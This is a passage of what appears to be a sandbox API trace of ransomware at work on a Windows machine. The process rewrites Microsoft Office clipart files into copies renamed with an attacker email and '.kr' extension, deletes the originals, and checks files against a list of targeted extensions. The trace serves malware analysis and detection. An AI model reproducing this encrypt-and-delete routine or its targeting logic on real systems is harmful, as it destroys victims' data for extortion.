0xffffffff [0211.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0211.030] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.030] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0211.031] GetLastError () returned 0x0 [0211.031] ReadFile (in: hFile=0x51c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x3734, lpOverlapped=0x0) returned 1 [0211.037] WriteFile (in: hFile=0x4d4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x3740, lpOverlapped=0x0) returned 1 [0211.038] ReadFile (in: hFile=0x51c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.038] WriteFile (in: hFile=0x4d4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0211.038] SetEndOfFile (hFile=0x4d4) returned 1 [0211.041] CloseHandle (hObject=0x4d4) returned 1 [0211.046] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.046] SetEndOfFile (hFile=0x51c) returned 1 [0211.069] CloseHandle (hObject=0x51c) returned 1 [0211.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.104] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf")) returned 1 [0211.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0211.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0211.177] lstrlenW (lpString=".doc") returned 4 [0211.177] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.177] lstrlenW (lpString=".docx") returned 5 [0211.177] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0211.177] lstrlenW (lpString=".pdf") returned 4 [0211.177] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.177] lstrlenW (lpString=".xls") returned 4 [0211.177] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.177] lstrlenW (lpString=".xlsx") returned 5 [0211.177] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0211.177] lstrlenW (lpString=".ppt") returned 4 [0211.177] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0211.177] lstrlenW (lpString=".zip") returned 4 [0211.177] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.177] lstrlenW (lpString=".rar") returned 4 [0211.177] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.177] lstrlenW (lpString=".bz2") returned 4 [0211.177] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.177] lstrlenW (lpString=".7z") returned 3 [0211.177] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0211.178] lstrlenW (lpString=".dbf") returned 4 [0211.178] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0211.178] lstrlenW (lpString=".1cd") returned 4 [0211.178] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0211.178] lstrlenW (lpString=".jpg") returned 4 [0211.178] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0211.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0211.178] lstrlenW (lpString=".doc") returned 4 [0211.178] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.178] lstrlenW (lpString=".docx") returned 5 [0211.178] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0211.178] lstrlenW (lpString=".pdf") returned 4 [0211.178] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.178] lstrlenW (lpString=".xls") returned 4 [0211.178] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.178] lstrlenW (lpString=".xlsx") returned 5 [0211.178] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0211.178] lstrlenW (lpString=".ppt") returned 4 [0211.178] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0211.178] lstrlenW (lpString=".zip") returned 4 [0211.178] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.178] lstrlenW (lpString=".rar") returned 4 [0211.178] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.178] lstrlenW (lpString=".bz2") returned 4 [0211.178] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.178] lstrlenW (lpString=".7z") returned 3 [0211.178] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0211.179] lstrlenW (lpString=".dbf") returned 4 [0211.179] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0211.179] lstrlenW (lpString=".1cd") returned 4 [0211.179] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0211.179] lstrlenW (lpString=".jpg") returned 4 [0211.179] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.179] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0211.179] lstrlenW (lpString="J0107148.WMF") returned 12 [0211.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0211.180] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=20136) returned 1 [0211.180] CloseHandle (hObject=0x3bc) returned 1 [0211.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf")) returned 0x220 [0211.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0211.181] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.181] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0211.181] GetLastError () returned 0x0 [0211.181] ReadFile (in: hFile=0x3bc, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x4ea8, lpOverlapped=0x0) returned 1 [0211.183] WriteFile (in: hFile=0x36c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x4eb0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x4eb0, lpOverlapped=0x0) returned 1 [0211.184] ReadFile (in: hFile=0x3bc, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.185] WriteFile (in: hFile=0x36c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0211.185] SetEndOfFile (hFile=0x36c) returned 1 [0211.185] CloseHandle (hObject=0x36c) returned 1 [0211.185] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.185] SetEndOfFile (hFile=0x3bc) returned 1 [0211.188] CloseHandle (hObject=0x3bc) returned 1 [0211.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.188] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf")) returned 1 [0211.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0211.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0211.189] lstrlenW (lpString=".doc") returned 4 [0211.189] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.189] lstrlenW (lpString=".docx") returned 5 [0211.189] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0211.189] lstrlenW (lpString=".pdf") returned 4 [0211.189] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.189] lstrlenW (lpString=".xls") returned 4 [0211.189] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.189] lstrlenW (lpString=".xlsx") returned 5 [0211.189] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0211.189] lstrlenW (lpString=".ppt") returned 4 [0211.189] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0211.190] lstrlenW (lpString=".zip") returned 4 [0211.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.190] lstrlenW (lpString=".rar") returned 4 [0211.190] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.190] lstrlenW (lpString=".bz2") returned 4 [0211.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.190] lstrlenW (lpString=".7z") returned 3 [0211.190] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0211.190] lstrlenW (lpString=".dbf") returned 4 [0211.190] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0211.190] lstrlenW (lpString=".1cd") returned 4 [0211.190] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0211.190] lstrlenW (lpString=".jpg") returned 4 [0211.190] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0211.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0211.190] lstrlenW (lpString=".doc") returned 4 [0211.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.190] lstrlenW (lpString=".docx") returned 5 [0211.190] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0211.190] lstrlenW (lpString=".pdf") returned 4 [0211.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.190] lstrlenW (lpString=".xls") returned 4 [0211.190] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.190] lstrlenW (lpString=".xlsx") returned 5 [0211.190] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0211.190] lstrlenW (lpString=".ppt") returned 4 [0211.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0211.191] lstrlenW (lpString=".zip") returned 4 [0211.191] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.191] lstrlenW (lpString=".rar") returned 4 [0211.191] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.191] lstrlenW (lpString=".bz2") returned 4 [0211.191] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.191] lstrlenW (lpString=".7z") returned 3 [0211.191] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0211.191] lstrlenW (lpString=".dbf") returned 4 [0211.191] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0211.191] lstrlenW (lpString=".1cd") returned 4 [0211.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0211.191] lstrlenW (lpString=".jpg") returned 4 [0211.191] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.191] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0211.191] lstrlenW (lpString="J0107150.WMF") returned 12 [0211.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0211.192] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=13456) returned 1 [0211.192] CloseHandle (hObject=0x3bc) returned 1 [0211.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf")) returned 0x220 [0211.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0211.192] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.193] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0211.193] GetLastError () returned 0x0 [0211.193] ReadFile (in: hFile=0x3bc, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x3490, lpOverlapped=0x0) returned 1 [0211.470] WriteFile (in: hFile=0x36c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x34a0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x34a0, lpOverlapped=0x0) returned 1 [0211.471] ReadFile (in: hFile=0x3bc, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.471] WriteFile (in: hFile=0x36c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0211.471] SetEndOfFile (hFile=0x36c) returned 1 [0211.471] CloseHandle (hObject=0x36c) returned 1 [0211.471] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.471] SetEndOfFile (hFile=0x3bc) returned 1 [0211.474] CloseHandle (hObject=0x3bc) returned 1 [0211.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.474] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf")) returned 1 [0211.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0211.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0211.475] lstrlenW (lpString=".doc") returned 4 [0211.475] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.475] lstrlenW (lpString=".docx") returned 5 [0211.475] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0211.475] lstrlenW (lpString=".pdf") returned 4 [0211.475] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.475] lstrlenW (lpString=".xls") returned 4 [0211.475] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.475] lstrlenW (lpString=".xlsx") returned 5 [0211.475] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0211.476] lstrlenW (lpString=".ppt") returned 4 [0211.476] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0211.476] lstrlenW (lpString=".zip") returned 4 [0211.476] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.476] lstrlenW (lpString=".rar") returned 4 [0211.476] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.476] lstrlenW (lpString=".bz2") returned 4 [0211.476] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.476] lstrlenW (lpString=".7z") returned 3 [0211.476] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0211.476] lstrlenW (lpString=".dbf") returned 4 [0211.476] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0211.476] lstrlenW (lpString=".1cd") returned 4 [0211.476] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0211.476] lstrlenW (lpString=".jpg") returned 4 [0211.476] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0211.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0211.476] lstrlenW (lpString=".doc") returned 4 [0211.476] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.476] lstrlenW (lpString=".docx") returned 5 [0211.476] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0211.476] lstrlenW (lpString=".pdf") returned 4 [0211.476] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.476] lstrlenW (lpString=".xls") returned 4 [0211.476] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.476] lstrlenW (lpString=".xlsx") returned 5 [0211.476] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0211.477] lstrlenW (lpString=".ppt") returned 4 [0211.477] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0211.477] lstrlenW (lpString=".zip") returned 4 [0211.477] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.477] lstrlenW (lpString=".rar") returned 4 [0211.477] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.477] lstrlenW (lpString=".bz2") returned 4 [0211.477] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.477] lstrlenW (lpString=".7z") returned 3 [0211.477] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0211.477] lstrlenW (lpString=".dbf") returned 4 [0211.477] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0211.477] lstrlenW (lpString=".1cd") returned 4 [0211.477] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0211.477] lstrlenW (lpString=".jpg") returned 4 [0211.477] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.477] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0211.477] lstrlenW (lpString="J0107264.WMF") returned 12 [0211.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0211.478] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=5272) returned 1 [0211.478] CloseHandle (hObject=0x3bc) returned 1 [0211.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf")) returned 0x220 [0211.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0211.479] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.479] 